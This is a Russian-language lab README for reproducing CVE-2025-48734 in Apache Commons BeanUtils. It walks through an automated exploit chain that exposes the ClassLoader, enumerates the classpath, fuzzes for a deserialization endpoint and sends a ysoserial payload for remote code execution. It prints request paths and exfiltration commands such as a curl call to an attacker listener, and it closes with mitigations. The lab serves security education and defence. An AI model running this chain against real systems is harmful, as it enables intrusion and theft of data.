
CVE-2025-48734 - Влияет на Apache Commons BeanUtils в версиях до 1.11.0 (и ветки 2.x до 2.0.0-M2).
Только для образовательных целей и авторизованных исследований безопасности.
Этот репозиторий предоставляет контролируемую лабораторную среду для воспроизведения уязвимости CVE-2025-48734 в Apache Commons BeanUtils и изучения того, как злоумышленник может при определенных условиях повысить привилегии до удаленного выполнения кода (RCE).
CVE-2025-48734 затрагивает Apache Commons BeanUtils в версиях до 1.11.0 (и ветку 2.x до 2.0.0-M2). Проблема заключается в том, что PropertyUtilsBean разрешает доступ к свойству declaringClass Java-перечислений через вложенные пути (например, enum.declaringClass). Все перечисления наследуют метод getDeclaringClass() от java.lang.Enum, который BeanUtils предоставляет как навигационное свойство.
Злоумышленник, который может контролировать путь свойства в вызовах getProperty() или getNestedProperty(), может:
ClassLoader приложения (через enum.declaringClass.classLoader).classLoader.URLs[n].⚠️ Важно: Уязвимость сама по себе не дает прямого RCE. Она предоставляет доступ к
ClassLoaderи позволяет перечислять classpath, что должно быть объединено с небезопасной конечной точкой десериализации и уязвимой библиотекой гаджетов для выполнения кода. См. раздел Подробный анализ эксплуатации.
Оценка CVSS: 8.8 (Высокая) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Лаборатория состоит из двух компонентов:
Сервис Spring Boot, предоставляющий следующие конечные точки:
GET /api/property?path=<property-path> — читает вложенное свойство с помощью PropertyUtilsBean.getNestedProperty() без санитизации. Это точка входа CVE.GET /api/nested-set?path=<path>&value=<value> — записывает вложенные свойства (также уязвимо).POST /api/data/import — принимает необработанные сериализованные объекты Java (application/octet-stream) и десериализует их без проверки. Это вектор доставки RCE.Целевой bean — объект Order, содержащий перечисление Status. Это позволяет построить цепочку status.declaringClass.classLoader.
Примечание: Конечная точка
/api/data/importне является частью CVE-2025-48734. Она включена для имитации реалистичного сценария, когда уязвимая конечная точка десериализации сосуществует с CVE. В реальном приложении такой тип конечных точек встречается в устаревших интеграциях, внутренних API или неправильно настроенном промежуточном программном обеспечении.
| Библиотека | Версия | Роль в цепочке |
|---|---|---|
commons-beanutils | 1.9.4 | Точка входа CVE-2025-48734 |
commons-collections | 3.2.2 | Цепочка гаджетов десериализации |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
Скрипт устанавливает зависимости, компилирует проект, регистрирует его как службу systemd и автоматически запускает. Приложение прослушивает порт 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
Скрипт устанавливает зависимости и загружает ysoserial.
Эксплойт полностью автоматизирован в одном скрипте, который обеспечивает правильный порядок фаз. Каждая фаза является обязательной для следующей.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
Скрипт проверяет status.declaringClass и status.declaringClass.classLoader. Если какое-либо из них заблокировано, скрипт прерывается — приложение исправлено, и цепочка не может быть продолжена.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
Используя ссылку на ClassLoader, полученную на фазе 1, скрипт перебирает classLoader.URLs[n], чтобы перечислить все загруженные JAR-файлы, и ищет Commons Collections 3.x. Если не найдено, скрипт прерывается — цепочка гаджетов недоступна.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
После подтверждения цепочки гаджетов скрипт фаззит распространенные конечные точки импорта/синхронизации, отправляя магические байты Java-сериализации (0xACED0005), и идентифицирует конечные точки, пытающиеся выполнить ObjectInputStream.readObject(), по их шаблону ответа. Если конечная точка не найдена, скрипт прерывается.
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial генерирует полезную нагрузку CommonsCollections6 (наиболее портативную для Java 11+) и отправляет ее на обнаруженную конечную точку.
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
Команда выполняется на сервере во время десериализации, до возврата ответа. Вывод может быть извлечен путем перенаправления в файл или через HTTP-колбэк:
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
CVE не является прямым вектором RCE — это разведывательный элемент, который делает возможной остальную часть цепочки:
Without CVE-2025-48734:
→ No ClassLoader access
→ No classpath enumeration
→ No way to confirm Commons Collections 3.x is present
→ No reason to look for a deserialization endpoint
→ Chain broken at the start
With CVE-2025-48734:
→ ClassLoader exposed
→ Full classpath visible via URLs[n]
→ Commons Collections 3.x confirmed
→ Deserialization endpoint discovered via fuzzing
→ RCE achieved
Три условия, которые должны совпасть для полного RCE:
| Условие | Эта лаборатория | Реальный мир |
|---|---|---|
| BeanUtils < 1.11.0 с нефильтрованным вводом пути | ✅ | Часто встречается в устаревших приложениях |
| Библиотека гаджетов в classpath (CC 3.x) |
Обновите Commons BeanUtils:
| Артефакт | Уязвимая версия | Безопасная версия |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
В pom.xml:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
Два взаимодополняющих смягчения:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
После обновления BeanUtils до версии 1.11.0 перекомпилируйте и перезапустите службу. Запустите скрипт эксплойта — он должен прерваться на Фазе 1:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения, является незаконным. Автор не несет ответственности за любое неправомерное использование.
| ✅ |
| Часто встречается в корпоративной Java |
| Небезопасная конечная точка десериализации | ✅ | Менее распространено, но присутствует в устаревших/промежуточных интеграциях |